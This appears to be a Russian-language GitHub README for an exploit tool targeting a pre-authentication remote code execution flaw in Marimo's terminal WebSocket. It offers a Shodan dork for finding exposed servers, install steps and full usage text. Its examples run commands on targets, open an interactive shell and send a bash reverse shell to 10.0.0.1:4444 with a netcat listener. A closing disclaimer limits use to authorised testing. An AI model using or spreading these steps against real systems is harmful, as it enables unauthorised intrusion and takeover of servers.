
CVE-2026-39987 Инструмент эксплуатации - Marimo < 0.23.0 RCE до аутентификации (WebSocket)
Эксплойт Proof of Concept (PoC) для критической уязвимости удаленного выполнения кода (RCE) до аутентификации в Marimo версии ниже 0.23.0.
Уязвимость позволяет неаутентифицированному атакующему подключиться к конечной точке WebSocket (/terminal/ws) и выполнить произвольные системные команды на целевом сервере.
/api/version).--no-check для сред, где конечные точки могут быть скрыты.Вы можете использовать следующий dork для поиска потенциально уязвимых экземпляров:
http.favicon.hash:-1864630356
Рекомендуется использовать виртуальное окружение Python для установки зависимостей.
# 1. Клонируйте репозиторий
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Создайте и активируйте виртуальное окружение
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Обновите pip и установите необходимые зависимости
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. Выполнение одиночной команды:
python CVE-2026-39987.py http://target.com:8080 "id"
2. Запуск интерактивной оболочки:
python CVE-2026-39987.py http://target.com:8080 -i
3. Выполнение reverse shell:
Убедитесь, что на вашей машине запущен netcat слушатель (например, nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. Пропустить проверки и принудительно выполнить:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
Приветствуются любые предложения! Пожалуйста, свободно отправляйте Pull Request.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)Этот инструмент предназначен строго для образовательных целей и авторизованного этичного хакинга. Автор не несет ответственности за любое неправомерное использование, ущерб или незаконные действия, вызванные этим скриптом. Всегда получайте явное разрешение от владельца системы перед проведением любого тестирования безопасности. Несанкционированное использование этого скрипта незаконно и наказуемо по закону.
Этот проект лицензирован по лицензии MIT — подробнее см. в файле LICENSE.